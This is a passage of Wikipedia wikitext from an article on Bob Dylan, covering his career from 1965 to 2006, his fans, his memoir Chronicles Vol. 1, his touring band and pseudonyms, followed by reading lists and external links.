indeed &quot;a changin&quot; and electricity was needed to express those changes.

===Creative height, crash===
The single &quot;[[Like a Rolling Stone]]&quot; was a U.S. and U.K. hit, cementing his reputation as a lyricist; at over six minutes, devoid of a bridge, the song also helped to expand the limits of hit radio. (In 2004, [[Rolling Stone]] listed it at #1 on its list of the 500 greatest songs of all time.) Its signature sound, with a full, jangling band and a simple organ riff, would characterize his next album, ''[[Highway 61 Revisited]]'' (titled after the road that led from his native Minnesota to the musical hotbed of [[New Orleans, Louisiana|New Orleans]]; and referencing any number of [[blues]] songs; e.g., [[Fred McDowell|Mississippi Fred McDowell]]'s &quot;61 Highway&quot;). The songs were in the same vein as the hit single, surreal litanies of the grotesque flavored by [[Mike Bloomfield]]'s blues guitar, a tight rhythm section and Dylan's obvious enjoyment of the sessions. The closing song, &quot;[[Desolation Row]]&quot;, is a lengthy apocalyptic vision with references to many figures of [[Western culture]].
[[Image:Music blonde on blonde.jpg|thumb|150px|A successful mix of [[Folk music]], [[Rock and Roll]] and Dylan's own brand of surrealism, ''[[Blonde on Blonde]]'' (1966) is often considered to be one of the finest recordings of American popular music.]]

In support of the record, Dylan was booked for two U.S. concerts and set about assembling a band. [[Mike Bloomfield]] was unwilling to leave the Butterfield Band, so Dylan mixed [[Al Kooper]] and [[Harvey Brooks]] from his studio crew with bar-band stalwarts [[Robbie Robertson]] and [[Levon Helm]], best known for backing [[Ronnie Hawkins]]. In August 1965 at Forest Hills Auditorium, the group was heckled from an audience who, Newport notwithstanding, still demanded the acoustic troubadour of previous years; their reception on September 3rd at the [[Hollywood Bowl]] was more uniformly favorable. 

Neither Kooper nor Brooks wanted to tour with Dylan, and he was unable to lure his preferred band, a crew of west coast musicians best known for backing [[Johnny Rivers]], featuring guitarist [[James Burton]] and drummer [[Mickey Jones]], away from their regular commitments. Dylan then hired Robertson and Helm's full band, [[The Band|The Hawks]], for his tour group, and began a string of studio sessions with them in an effort to record the follow-up to ''[[Highway 61 Revisited]]''.

Dylan secretly married [[Sara Lownds]] on [[November 22]], [[1965]]; their first child, Jesse Byron Dylan, was born on January 6, 1966.  Dylan and Lownds had four children in total: [[Jesse Dylan| Jesse]], Anna, Samuel, and [[Jakob Dylan|Jakob]] (born [[December 9]], [[1969]]). Dylan also adopted Sara Lownds' first daughter Maria Lownds (born October 21st, 1961) from a prior marriage. In the 1990's, the youngest of the pair's children, [[Jakob Dylan]], became well known as the lead singer of the band [[The Wallflowers]]. [[Jesse Dylan]] is a film director and a very successful businessman.

Dylan and Lownds divorced in July 1977, though they reportedly remained in regular contact for many years and, by some accounts, even to the present day.

While Dylan and the Hawks met increasingly receptive audiences on tour, their studio efforts floundered.  At John Hammond's suggestion, producer [[Bob Johnston]] brought Dylan to [[Nashville]] to record, surrounding him with a cadre of top-notch session men. Only Robertson and Kooper came down from [[New York City]] to play more limited roles. The Nashville sessions brought out what Dylan would later call &quot;that thin wild mercury sound&quot; and a classic record often viewed as one of the greatest in American popular music, ''[[Blonde on Blonde]]'' (1966).

Dylan undertook an ambitious &quot;world tour&quot; of [[Australia]] and [[Europe]] in the spring of 1966. Each show was split into two parts: in the first half Dylan performed solo, accompanying himself on [[acoustic guitar]] and [[harmonica]]; in the second half, backed by [[the Hawks]] he played fully-charged electric music. This jarring switch chafed at many fans, who jeered and slowly handclapped. The tour culminated in an infamously raucous confrontation with his audience at the Manchester [[Free Trade Hall]] in [[England]] (officially released on CD in 1998). At the climax of the concert, one fan, angry with Dylan's electric sound, shouted; &quot;[[Judas]]!&quot; from the audience, and Dylan responded, &quot;I don't believe you! You're a liar!&quot; before turning to the band and exhorting them to &quot;Play fuckin' loud!&quot; as they launched into the last song of the night—&quot;[[Like a Rolling Stone]]&quot;.

After his European tour, Dylan returned to [[New York]], but the pressures on him continued to increase: his publisher was demanding a finished [[manuscript]] of the poem/novel ''[[Tarantula (book)|Tarantula]]'' and manager [[Albert Grossman]] had already scheduled a grueling summer/fall concert tour.  On [[July 29]], [[1966]], while Dylan rode his Triumph 500 [[motorcycle]] in [[Woodstock, New York]], its brakes locked, throwing him to the ground. Though the extent of his injuries were never fully disclosed, it was confirmed that he indeed broke his [[neck]]. Whether through necessity or [[opportunism]], Dylan used an extended convalescence to escape the pressures of [[stardom]].

Once Dylan was well enough to resume creative work, he began editing footage into ''[[Eat the Document]]'', a rarely exhibited follow-up to ''Dont Look Back''. In [[1967 in music|1967]] he began recording music with the Hawks at his home and, legendarily, the basement of the Hawks' nearby &quot;Big Pink&quot;.  The relaxed atmosphere yielded renditions of many of Dylan's favored old and new songs and some newly written pieces.  These originals, at first compiled as demos for other artists to record, began to circulate on their own merits.  Columbia belatedly released selections from them in 1975 as ''[[The Basement Tapes]]''. Later in 1967, the Hawks (soon to be rechristened as [[The Band]]) independently recorded the album ''[[Music From Big Pink]]'', thus beginning a long and successful recording and performing career of their own.  

Unsurprisingly, Dylan's new music reflected by his changed lifestyle. In December 1967, he released his first album since the motorcycle crash called ''[[John Wesley Harding (album)|John Wesley Harding]]''. The album was a quiet, contemplative record of shorter songs, set in a landscape which drew on both the [[American West]] and the [[Old Testament]]. The sparse structure and instrumentation, coupled with lyrics which took the Judeo-Christian tradition seriously, marked a departure not only from Dylan's own work but from the escalating psychedelic fervor of the 1960s musical culture.It included &quot;[[All Along the Watchtower]]&quot;, with lyrics derived from the [[Book of Isaiah]] (21:5–9). The song was later immortalized by [[Jimi Hendrix]] in a version that Dylan himself has acknowledged as definitive. 

[[Woody Guthrie]] died in October 1967, and Dylan made his first public appearances in 18 months at a pair of Guthrie memorial concerts the following January.

Dylan's next release, ''[[Nashville Skyline]]'' ([[1969 in music|1969]]), was virtually a mainstream country record featuring instrumental backing by [[Nashville]] musicians, a mellow-voiced, contented Dylan, a duet with [[Johnny Cash]], and the hit single &quot;[[Lay Lady Lay]]&quot;.  Dylan appeared on Cash's new television show and then gave a high-profile performance at the [[Isle of Wight]] rock festival (after rejecting overtures to appear at the [[Woodstock]] event far closer to his home).

===The 1970s===
In the early 1970s, critics charged Dylan's output was of varied and unpredictable quality. &quot;What is this shit?&quot; ''[[Rolling Stone]]'' magazine writer and Dylan loyalist [[Greil Marcus]] notoriously asked, upon first listening to [[1970 in music|1970]]'s ''[[Self Portrait]]''. In general, ''Self Portrait'', a double LP including few original songs, was poorly received. Later that year, Dylan released ''[[New Morning]]'', considered by some as  a return to form. His unannounced appearance at [[George Harrison|George Harrison's]] [[1971 in music|1971]] [[Concert for Bangladesh]] was widely praised, but reports of a new album, a television special, and a return to touring came to nothing.  

In 1972, Dylan signed onto [[Sam Peckinpah]]'s film ''[[Pat Garrett and Billy the Kid]]'', providing the [[Pat Garrett and Billy the Kid (album)|songs]] and taking a role as &quot;Alias&quot;, a minor member of Billy's gang. &quot;[[Knockin' on Heaven's Door (song)|Knockin' on Heaven's Door]]&quot;, among Dylan's most covered songs, has proved much more durable than the film itself.

Dylan signed with [[David Geffen]]'s new Asylum label when his contract with [[Columbia Records]] expired in [[1973 in music|1973]]. He recorded ''[[Planet Waves]]'' with the Band; like ''New Morning'', ''Planet Waves'' was initially viewed as a return to peak form, but in retrospect appears less substantial (although &quot;Forever Young&quot; has proved to be one of Dylan's most lasting songs).  Columbia Records almost simultaneously released ''[[Dylan (album)|Dylan]]'', a haphazard collection of studio outtakes often termed a &quot;revenge&quot; release.

In early [[1974 in music|1974]], Dylan and [[the Band]] staged a high-profile, coast-to-coast tour of [[North America]]; promoter [[Bill Graham (promoter)|Bill Graham]] claimed he received more ticket purchase requests than for any prior tour by any artist. The tour was documented on the album ''[[Before the Flood]]'', but Dylan refused to allow a tour film to be produced. 

After the tour, Dylan and his wife became publicly estranged. He filled a small red notebook with songs about his marital problems, and quickly recorded a new album entitled ''[[Blood on the Tracks]]'' in September 1974. 

Word of Dylan's efforts soon leaked out, and expectations were high. But Dylan delayed the album's release, and then re-recorded half of the songs in [[Minneapolis]] by year's end. Released in early [[1975 in music|1975]], ''[[Blood on the Tracks]]'' was critically acclaimed and commercially successful, and is considered his finest album by many fans. The songs are among his most intimate.

That summer, Dylan wrote his first successful &quot;protest&quot; song in twelve years, championing the cause of boxer [[Rubin Carter|Rubin &quot;Hurricane&quot; Carter]] who he believed had been wrongfully imprisoned for a triple homicide in Paterson, New Jersey (an eponymous 1971 tribute to [[George Jackson (Black Panther)|George Jackson]], a [[Black Panther]] who was killed in prison, sank almost unnoticed). After visiting Carter in jail, Dylan wrote &quot;[[Hurricane (song)|Hurricane]]&quot;, presenting the case for Carter's innocence. Despite its 8 1/2 minute length, the song was released as a single, peaking at #31 on the Billboard Chart, and performed at every 1975 date of Dylan's next tour, the [[Rolling Thunder Revue]]. The tour was something different: a varied evening of entertainment featuring many performers drawn mostly from the resurgent Greenwich Village folk scene, including [[T-Bone Burnett]]; [[Steven Soles]]; [[David Mansfield]]; former [[The Byrds|Byrds]] frontman [[Roger McGuinn]]; [[Scarlet Rivera]], a [[violin]] player Dylan discovered while she was walking down the street to a rehearsal, her violin case hanging on her back; and a reunion with [[Joan Baez]]. [[Joni Mitchell]] added herself to the Revue in November, and poet [[Allen Ginsberg]] accompanied the troupe, staging scenes for the film Dylan was simultaneously shooting. [[Sam Shepard]], who would later achieve some fame as a playwright and actor, traveled along as a sort of informal chronicler.

Running through the fall of 1975 and again through the spring of 1976, the tour also encompassed the release of the album ''[[Desire (album)|Desire]]'' ([[1976 in music|1976]]), with many of Dylan's new songs featuring an almost [[travelogue]]-like narrative style, showing the influence of his new collaborator, playwright [[Jacques Levy]]. The spring 1976 half of the tour was documented by a TV concert special, ''Hard Rain'', and an LP of the same title; no concert album from the better-received and better-known opening half of the tour would be released until 2002, when ''[[The Bootleg Series Vol. 5: Bob Dylan Live 1975, The Rolling Thunder Revue|Live 1975]]'' appeared as the fifth volume in Dylan's official ''Bootleg Series''.

The fall 1975 tour with the Revue also provided the backdrop to Dylan's nearly four-hour film ''[[Renaldo and Clara]]'', a sprawling, improvised and frequently baffling narrative mixed with striking concert footage and reminiscences. Released in 1978, the movie received generally poor, sometimes scathing, reviews and had a very brief theatrical run. Later in that year, Dylan allowed a two-hour edit, dominated by the concert performances, to be more widely released. 

In November 1976, Dylan appeared at The Band's &quot;farewell&quot; concert, along with other guests including [[Joni Mitchell]], [[Muddy Waters]], [[Van Morrison]], and [[Neil Young]]. [[Martin Scorsese]]'s cimematic chronicle of this show, ''[[The Last Waltz]]'', acclaimed as perhaps the best American concert film yet produced, was released in 1978 and included about half of Dylan's set.

Dylan's [[1978 in music|1978]] album ''[[Street-Legal]]'' was generally well reviewed.  Lyrically one of his more complex and absorbing, it suffered, however, from a poor sound mix (attributed to his studio recording practices), submerging much of its instrumentation in the sonic equivalent of cotton wadding until its remastered CD release nearly a quarter century later.

Dylan's work in the late 1970s and early 1980s was dominated by his becoming, in 1979, a [[born again|born-again Christian]]. He released two albums of exclusively religious material and a third that seemed mostly so; of these, the first, ''[[Slow Train Coming]]'' (1979), is generally regarded as the most accomplished, winning him a Grammy for best male vocalist.  The second album, ''[[Saved]]'' (1980),  was not so well-received.  When touring from the fall of 1979 through the spring of 1980 Dylan refused to play secular music and delivered sermonettes on stage, such as:

:''&quot;Years ago they used ..., said I was a prophet. I used to say, 'No, I'm not a prophet,' they say, 'Yes, you are, you're a prophet.' I said, 'No, it's not me.' They used to say, 'You sure are a prophet.' They used to convince me I was a prophet. Now I come out and say Jesus Christ is the answer. They say, 'Bob Dylan's no prophet.' They just can't handle it.&quot;'' (January 25, 1980, Omaha) [http://www.bjorner.com/DSN05347%201980%20Second%20Gospel%20Tour.htm#DSN05410]

Dylan's religious conversion was met with distrust by some fans and fellow artists. [[John Lennon]], for example, recorded &quot;Serve Yourself&quot;, a parody of Dylan's &quot;Gotta Serve Somebody&quot;.

===Hard-working elder statesman===
====1980s====
In the fall of 1980, Dylan briefly resumed touring, restoring several of his most popular 1960s songs to his repertoire, for a series of concerts billed as &quot;A Musical Retrospective&quot;. ''[[Shot of Love]]'', recorded the next spring, featured Dylan's first secular compositions in more than two years, mixed with explicitly Christian songs and material that resisted pigeonholing. 

In the 1980s, the quality of Dylan's recorded work varied, from the well-regarded ''[[Infidels]]'' in 1983 to the panned ''[[Down in the Groove]]'' in 1988. In addition, beginning with ''Infidels'', Dylan's recordings would no longer be dominated by openly Christian lyrics, as they had been on his previous three albums. Of course, one need not look far to find religious themes in his work since, but these themes would no longer be so explicit, and certainly not so evangelistic. Naturally, there is much debate among Dylan fans over his current personal beliefs. Virtually all would agree that he no longer records songs comparable in evangelistic fervor to those of his gospel period, such as &quot;I Believe In You&quot;, &quot;Saving Grace&quot;, or &quot;Property Of Jesus&quot;. However, most would also admit that the supernatural is still a major theme in Dylan's work; for example, he has written and recorded songs such as &quot;[http://bobdylan.com/songs/deathnot.html Death Is Not The End]&quot;, &quot;[http://bobdylan.com/songs/ring.html Ring Them Bells]&quot;, and &quot;[http://bobdylan.com/songs/tryin.html Trying To Get To Heaven]&quot;, in the lyrics of which a cursory glance will reveal religious concerns.

The ''Infidels'' recording sessions produced several notable outtakes, and some critics have questioned Dylan's judgment in leaving these off the album. Most well-regarded of these outtakes were &quot;[[Blind Willie McTell (song)|Blind Willie McTell]]&quot;, &quot;Foot of Pride&quot;, &quot;Someone's Got a Hold of My Heart&quot; and &quot;Lord Protect My Child&quot;, which were later released on the boxed set ''[[The Bootleg Series Volumes 1-3 (Rare &amp; Unreleased) 1961-1991]]''. An earlier version of ''[[Infidels]]'', prepared by producer/guitarist [[Mark Knopfler]], contained different arrangements and song selections than what appeared on the final product. 

In late 1985, Dylan married his longtime backup singer Carolyn Dennis (often professionally known as Carol Dennis). Their daughter, Desiree, Gabrielle Dennis-Dylan, was born on [[January 31]], [[1986]]. The couple divorced in the early 1990s. 

In 1987, Dylan starred in [[Richard Marquand]]'s movie ''[[Hearts of Fire]]'', in which he played a washed-up-rock-star-turned-chicken farmer whose teenage lover (Fiona) leaves him for a jaded English synth-pop sensation ([[Rupert Everett]]). The film was a critical and commercial flop. In fact, when asked in a press conference if he had anything to do with writing the movie, Dylan chuckled &quot;I couldn't have possibly written anything like that.&quot;

Dylan was inducted into the [[Rock and Roll Hall of Fame]] in 1988. Later that spring, he took part in the first [[Traveling Wilburys]] album, working with [[Roy Orbison]], [[Jeff Lynne]], [[Tom Petty]], and his good friend [[George Harrison]] on lighthearted, well-selling fare. Despite Orbison's death, the other four Wilburys issued a sequel in 1990.

Dylan finished the decade on a critical high note with the [[Daniel Lanois]]-produced ''[[Oh Mercy]]'' ([[1989 in music|1989]]).  Lanois's influence is audible throughout ''[[Oh Mercy]]''. &quot;Ring Them Bells&quot; seems to call for Christians to maintain a visible presence in the world, perhaps adding fuel to the debate over Dylan's religious orientation. The track &quot;Most of the Time&quot;, a ruminative lost love composition, was later prominently featured in the film ''[[High Fidelity]]'' while &quot;What Was It You Wanted?&quot; was a love song that doubled as a dry comment on the expectations of fans.

Dylan made a number of music videos during this period, but only &quot;Political World&quot; found any regular airtime on [[MTV]].

====1990s====
Dylan's 1990s began with ''[[Under the Red Sky]]'' ([[1990 in music|1990]]), an odd about-face from the serious ''Oh Mercy''. The album was dedicated to &quot;Gabby Goo Goo&quot;, and contained several apparently simple songs, including &quot;Under the Red Sky&quot; and &quot;Wiggle Wiggle.&quot; The &quot;Gabby Goo Goo&quot; dedication was later explained as a nickname for Dylan's four-year-old daughter. However, the story that the album's songs were written for her entertainment is plainly apocryphal. Sidemen on the album included [[George Harrison]], [[Slash (musician)|Slash]] from [[Guns N' Roses]], [[David Crosby]], [[Bruce Hornsby]], [[Stevie Ray Vaughan]], and [[Elton John]].   

The next few years saw Dylan returning to his folk roots with two albums covering old folk and blues numbers: ''[[Good As I Been to You]]'' ([[1992 in music|1992]]) and ''[[World Gone Wrong]]'' ([[1993 in music|1993]]), featuring nuanced interpretations and ragged but highly original acoustic guitar work. His [[1995 in music|1995]] concert on ''[[MTV Unplugged]]'', and the album culled from it, marked Dylan's only newly recorded output during the mid-1990s. Essentially a [[greatest hits]] collection, it also included &quot;John Brown&quot;, an unreleased 1963 song detailing the ravages of both war and [[jingoism]]. 

With a sheaf of songs reportedly written while snowed-in on his Minnesota ranch, Dylan returned to the recording studio with Lanois in January 1997.  Late that spring, before the album's release, Dylan was hospitalized with a life-threatening heart infection, [[pericarditis]], brought on by [[histoplasmosis]]. His scheduled European tour was cancelled, but Dylan made a speedy recovery and left the hospital saying, &quot;I really thought I'd be seeing [[Elvis Presley|Elvis]] soon.&quot;  He was back on the road by midsummer, and in early fall performed before [[Pope John Paul II]] at the World Eucharistic Conference in [[Bologna]], [[Italy]].

September saw the release of the new Lanois-produced album, Dylan's first collection of original songs in seven years. ''[[Time Out of Mind]]'', with its bitter assessment of love and morbid ruminations, was highly acclaimed and achieved an unforeseen popularity among young listeners, particularly the song &quot;Love Sick&quot;. This collection of complex songs won him his first solo Album of the Year [[Grammy Award]] (he was one of numerous performers on [[Concert for Bangladesh|''The Concert for Bangladesh'']], the 1972 winner).  The ballad &quot;To Make You Feel My Love&quot;, covered by both Garth Brooks and Billy Joel, generated more royalties than any song he had written since the 1960s.

====2000 and beyond====
In 2001, his song &quot;Things Have Changed&quot;, penned for the film ''[[Wonder Boys]]'', won a [[Golden Globe Award for Best Original Song]] and an [[Academy Award for Best Song]].  For reasons unannounced, the Oscar (by some reports a facsimile) tours with him, presiding over shows perched atop an amplifier. 

''[[&quot;Love and Theft&quot;]]'', an album that explores diverse styles of American music and revisits Dylan's own creative roots, was released on [[September 11]], [[2001 in music|2001]]. Dylan produced the album himself under the pseudonym Jack Frost, and its distinctive sound is owes much to the accompanists.  [[Tony Garnier (musician)|Tony Garnier]], bassist and bandleader, had played with Dylan for 12 years, longer than any other musician. Larry Campbell[http://www.members.cox.net/larrycampbell2000], one of the most accomplished American guitarists of the last two decades, played on the road with Dylan from 1997 through 2004.  Guitarist [[Charlie Sexton]] and drummer [[David Kemper]] had also toured with Dylan for years. Keyboard player [[Augie Meyers]], the only musician not part of Dylan's touring band, had also played on ''Time Out of Mind''. The album was critically well-received, nominated for several Grammy awards, and sold strongly.

2003 saw the release of the film ''[[Masked &amp; Anonymous]]'', a creative collaboration with television producer [[Larry Charles]], featured many well-known actors.  Dylan and Charles cowrote the film under the pseudonyms Rene Fontaine and Sergei Petrov.  As difficult to decipher as some of his songs, ''Masked &amp; Anonymous'' was panned by most major critics and had a limited run in theaters.  

In 2005 preproduction began on a film entitled ''I'm Not There: Suppositions on a Film Concerning Dylan'' [http://www.imdb.com/title/tt0368794/]. The movie makes use of seven characters to represent the different aspects of Dylan's life. The movie is to be directed by [[Todd Haynes]], and the cast currently includes [[Cate Blanchett]], [[Christian Bale]] and [[Richard Gere]]. 

[[Martin Scorsese]]'s film biography ''[[No Direction Home]]'' was shown on [[September 26]] and [[September 27]] [[2005]] on [[BBC Two]] in the United Kingdom and [[PBS]] in the United States. [http://www.pbs.org/wnet/americanmasters/dylan/] A DVD of this film was released on [[September 20]], with an accompanying soundtrack released on [[August 20]], [[2005]].

Dylan himself returned to recording studio at some point in 2005.  He recorded at least one song, entitled &quot;Tell Ol' Bill&quot; for the motion picture [[North Country (2005 film)|North Country]].  The song is an original composition, not the similarly titled traditional folk song.


In February 2006, Dylan recorded tracks for a new album in New York City the following week; it is expected to be released late in the spring. He is scheduled to resume touring in April. In May or June, he plans to begin hosting a weekly radio program for [[XM Satellite Radio]].

====Recent live performances====

Dylan has played roughly 100 dates a year for the entirety of the 1990s and the 2000s, a heavier schedule than most performers who started out in the 1960s. The &quot;Never Ending Tour&quot; continues, anchored by longtime bassist Tony Garnier and filled out with talented musicians better known to their peers than to their audiences. To the dismay of some fans Dylan refuses to be a nostalgia act; his reworked arrangements, evolving bands and experimental vocal approaches keep the music unpredictable night after night.

Dylan, once known as a guitar player, has not been playing guitar in live performance since 2002 (with very rare exceptions).  Instead he chooses to play on the keyboard, with increasingly frequent harmonica solos.  Various rumors have circulated as to why Dylan gave up his guitar, none terribly reliable. According to David Gates, a Newsweek reporter who interviewed Dylan in 2004, &quot;...it has to do with his guitar not giving him quite the fullness of sound he was wanting at the bottom... He's thought of hiring a keyboard player so he doesn't have to do it himself, but hasn't been able to figure out who.&quot;

Dylan chooses songs from throughout his 40-year career, seldom playing the same set twice. 

==Fan base==
Bob Dylan's large and vocal fan base write books, essays, '[[zine]]s, etc. at a furious rate.  They also maintain a massive Internet presence with daily Dylan news, a site which rigorously documents every song he has ever played in concert, and one where visitors bet on what songs he will play on upcoming tours.  Within minutes of the end of concerts, set lists and reviews are posted by his loyal following.

The poet laureate of Britain, [[Andrew Motion]], is a vocal supporter of Dylan's work, as are musicians [[Lou Reed]], [[Tom Waits]], [[Bruce Springsteen]], [[Tom Petty]], [[David Bowie]], [[Ian Hunter]], [[Neil Young]], and [[Mike Watt]].

The [[Dylan pool]], which was created in 2001 has been featured on CNN, CBC, BBC, and the Associated Press. To the [http://groups.google.ca/group/rec.music.dylan/msg/209f4d59425fd990?hl=en Associated Press], &quot;The pool reflects both the obsessive interest Dylan still draws 40 years into his career and the way this road warrior has structured his career.&quot; It allows interaction between fans while adding a level of competition through the unique online Bob Dylan fantasy game.

==Chronicles Vol. 1==
After a lengthy delay, [[October 2004]] saw the publishing of Bob Dylan's autobiography, ''[[Chronicles, Vol. 1]]''. He once again confounded expectations. Dylan wrote three chapters about the year between his arrival in [[New York City]] in 1961 and recording his first album. Dylan focused on the brief period before he was a household name, while virtually ignoring the mid-1960s when his fame was at its height. He also devoted chapters to two lesser-known albums, ''[[New Morning]]'' (1970) and ''[[Oh Mercy]]'' (1989), which contained insights into his collaborations with poet [[Archibald MacLeish]] and producer [[Daniel Lanois]]. In the ''[[New Morning]]'' chapter, Dylan expresses distaste for the &quot;spokesman of a generation&quot; label bestowed upon him, and evinces disgust with his more fanatical followers.

Another section features Dylan's account of a guitar-strumming style in mathematical detail that he claimed was the key to his renaissance in the 1990s. Despite the [[opacity]] of some passages, there is an overall clarity in voice that is generally missing in Dylan's other prose writings, and a noticeable generosity towards friends and lovers of his early years. At the end of the book, Dylan describes with great passion the moment when he listened to the Brecht/Weill song &quot;Pirate Jenny&quot;, and the moment when he first heard [[Robert Johnson]]’s recordings. In these passages, Dylan suggested the process which ignited his own song-writing.

Six weeks after its publication, ''Chronicles, Vol. 1'' was #5 on the [[New York Times]]' Hardcover Non-Fiction best seller list and climbing. Simultaneously, [[Amazon.com]] and [[Barnes and Noble]] reported the book as their #2 best seller among all categories. ''Chronicles Vol. 1'' is the first of three planned volumes.

==Discography, film, books==
See [[Bob Dylan discography]].

==Band==
The current members of Bob Dylan's touring band:

* '''Bob Dylan''' - [[vocals]], [[keyboard]], [[harmonica]]
* Stu Kimball - [[rhythm guitar]]
* Denny Freeman - [[lead guitar]]
* Donny Herron - [[pedal steel guitar]], [[lap steel guitar]], [[mandolin|electric mandolin]], [[banjo]], [[violin]]
* [[Tony Garnier (musician)|Tony Garnier]] - [[bass guitar]], [[double bass|standup bass]]
* George Receli - [[drums]]

==Known pseudonyms==
* Elston Gunnn (the spelling is an eccentricity of his adolescence)
* Bob Dylan  (his legal name, since August 1962- Robert Dylan)
* Bob Dillon (according to some biographers, an early spelling based on an affection for the character [[Marshal Matt Dillon]] in [[Gunsmoke]])
* Blind Boy Grunt (album credit)
* Bob Landy (album credit)
* Tedham Porterhouse (album credit)
* Robert Milkwood Thomas
* Lucky Wilbury ([[Traveling Wilburys]])
* Boo Wilbury ([[Traveling Wilburys]])
* Jack Frost (producer of ''[[&quot;Love and Theft&quot;]]'' and co-producer of ''[[Under the Red Sky]]'' and ''[[Time Out of Mind]]'')
* Sergei Petrov (co-writer of ''[[Masked &amp; Anonymous]]'')

==Further reading==
* Bob Dylan, ''Chronicles: Volume 1''. Simon and Schuster, October 5, 2004, hardcover, 208 pages. ISBN 0743228154
* Michael J. Gilmour, &quot;Tangled Up in the Bible: Bob Dylan and Scripture&quot;.  Continuum, 2004, 160 pages.  ISBN 0826416020
* Michael Gray, ''Song &amp; Dance Man III: The Art of Bob Dylan''. Continuum International, 2000, paperback, 944 pages. ISBN 0826463827 
* David Hajdu, ''Positively 4th Street: The Lives and Times of Joan Baez, Bob Dylan, Mimi Baez Farina, and Richard Farina'' Farrar Straus Giroux, 2001, 328 pages. ISBN 0374281998
* Clinton Heylin, ''Bob Dylan: Behind the Shades Revisited''. Perennial Currents, 2003, 800 pages. ISBN 006052569X
* Clinton Heylin, ''Bob Dylan: A Life In Stolen Moments'', Schirmer Books, 1986, 403 pages. ISBN 0825671566.  Also known as ''Bob Dylan: Day By Day''
* John Hinchey. ''Like a Complete Unknown: The Poetry of Bob Dylan’s Songs, 1961-1966''. Stealing Home Press, 2002. 277 pages. ISBN 0972359206
*[[Greil Marcus]], ''The Old, Weird America: The World of Bob Dylan's Basement Tapes'', Picador, 2001. ISBN 0312420439 (also published as &quot;Invisible Republic&quot;)
*[[Greil Marcus]], ''Like A Rolling Stone: Bob Dylan at the Crossroads'', PublicAffairs, 2005. ISBN 1586482548
* Mike Marqusee, ''[[Chimes of Freedom]] : The Politics of Bob Dylan's Art'' The New Press, NY, 2003, 327 pages. ISBN 1-56584-825-X
* Wilfrid Mellers, ''A Darker Shade Of Pale: A Backdrop To Bob Dylan'' Oxford University Press, 1985, 255 pages. ISBN 0-19-503622-0
* Christopher Ricks, ''Dylan's Visions of Sin'', Penguin/Viking, 2003, 517 pages. ISBN 067080133X
* Tim Riley, ''Hard Rain: A Dylan Commentary'', Vintage, 1992, 356 pages. ISBN 0-679-74527-0
* Anthony Scaduto, ''Bob Dylan'', Helter Skelter, 2001 reprint of 1972 original, 312 pages. ISBN 1900924234
* [[Robert Shelton]], ''No Direction Home'', Da Capo Press, 2003 reprint of 1986 original, 576 pages.  ISBN 0306812878
* [[Sam Shepard]], ''Rolling Thunder Logbook'', Da Capo, 2004 reissue, 176 pages. ISBN 0306813718
* Howard Sounes, ''Down The Highway: The Life Of Bob Dylan'', Grove Press, 2001, 527 pages.  ISBN 0802116868
* Anthony Varesi, &quot;The Bob Dylan Albums&quot;, Guernica Editions, 2002, 264 pages.  ISBN 1550711393
* Carl Porter and Peter Vernezze (editors), “Bob Dylan and Philosophy” Open Court Books, 2005, 225 pages. ISBN 0-8126-9592-5

==See also==
* [[Best selling music artists]]
* [[List of people compared to Bob Dylan]]

==External links==
{{wikiquote}}
{{commons|Bob Dylan}}
=====Portals=====
* [http://www.bobdylan.com/ BobDylan.com] – official website, including lyrics
* [http://www.expectingrain.com/ Expecting Rain] Longtime favorite fan site, updated daily.
* [http://my.execpc.com/%7ebillp61/boblink.html BobLinks] Another classic fansite, with a comprehensive categorized link collection and up-to-date tour information.
* [http://www.emplive.org/visit/galleries/dylan.asp Bob Dylan's American Journey] Gateway to the [[Experience Music Project]]'s online Dylan resources.

=====Chords and lyrics=====
&lt;!-- Please do not add plain lyrics sites here. Dylan's official site already contains lyrics. Please don't add new lyric site links unless you're linking to a site with information not already available here --&gt;
* [http://www.bobdylanroots.com/ bobdylanroots.com] Bob Dylan's musical roots and influences
* [http://homepage.mac.com/danielmartin/Dylan/html/songs/Lists/A.html &quot;It's not a house it's a home&quot; page] Includes lyrics to many songs and versions not found elsewhere.
* [http://orad.dent.kyushu-u.ac.jp/dylan/song.html Lyrics in English and Japanese]

=====Concert recordings, outtakes, etc.=====
* [http://www.angelfire.com/wa/monicasdude Bob Dylan Field Recordings Guide] A large compilation/index of information on Dylan's &quot;unofficial&quot; recordings
* [http://trading.dylantree.com/ CD-Rs]
* [http://www.dustyoldfairgrounds.com Dusty Old Fairgrounds] an exhaustive index of Dylan's recordings and performances
* [http://dvdylan.com/ DVDylan.com] Bob Dylan DVD Recording Database
* [http://www.dylanbase.com/Allalbums.asp Dylanbase] User-contributed reviews of &quot;unofficial&quot; recordings
* [http://www.bobsboots.com/ bobsboots.com] – A Bob Dylan bootleg &quot;museum&quot; website
* [http://www.searchingforagem.com/ Rare but not Boot]
* [http://cvrc.med.upenn.edu/~greenberg/cowboy1.html Covers by Bob]
* [http://home.adelphia.net/~dyln61/project_74.htm Project '74], documents 1974 Dylan/Band tour
* [http://www.angelfire.com/folk/jackofharts7/dylan1978.html 1978 Tour Guide]
* [http://www.angelfire.com/rant/gospelproject/ The Gospel Project], documents Dylan's 1979–80 evangelical tours
*[http://www.tvtalkin.com/ Film and television recordings of Bob Dylan]

=====Reference works=====
* [http://www.bjorner.com/bob.htm Olof's files], reference guide, yearly chronicles, sessionography, etc.
* [http://www.bjorner.com/OLOFS%20FILES.htm Olof's Files], same as above, but in book form
* [http://www.execpc.com/~billp61/dates.html Bob Dylan tour dates]
* [http://www.tangled.ca/ Tangled: A Recording History of Bob Dylan], Standard reference book for collectors, 5th edition
* [http://db.dvdylan.com/ Yet Another Bob Dylan Database] Tour dates and statistics, updated almost daily
* [http://www.rwin.nl/bobdylan News and Discography at rwin.nl]
* {{imdb name|id=0001168|name=Bob Dylan}}

=====Magazines=====
* [http://www.two-riders.co.uk/ The Bridge]
* [http://www.bobdylanisis.com ISIS] 
* [http://judasmagazine.com/ Judas!] 
* [http://www.freewheelin-on-line.info/ Freewheelin'] (online magazine)
* [http://www.expectingrain.com/dok/div/telegraph/pasttishes.html The Telegraph] (archive, no longer published)

=====Commentary on religious themes=====
* [http://www.radiohazak.com/Dylan.html &quot;Bob Dylan: Tangled Up In Jews&quot;] discusses the influence of Yiddish writers, Judaism, and events in Israel on Bob Dylan's songs.
* [http://web.utk.edu/~wparr/scripture/scripturelinks.html Influence of Christianity on Dylan] discusses direct links between Dylan's songs and the Bible.
* [http://www.the-branch.org/study38.html &quot;Come In, She Said, I'll Give You Shelter From The Storm&quot;] discusses the Judeo-Christian feminine imagery in Bob Dylan's songs
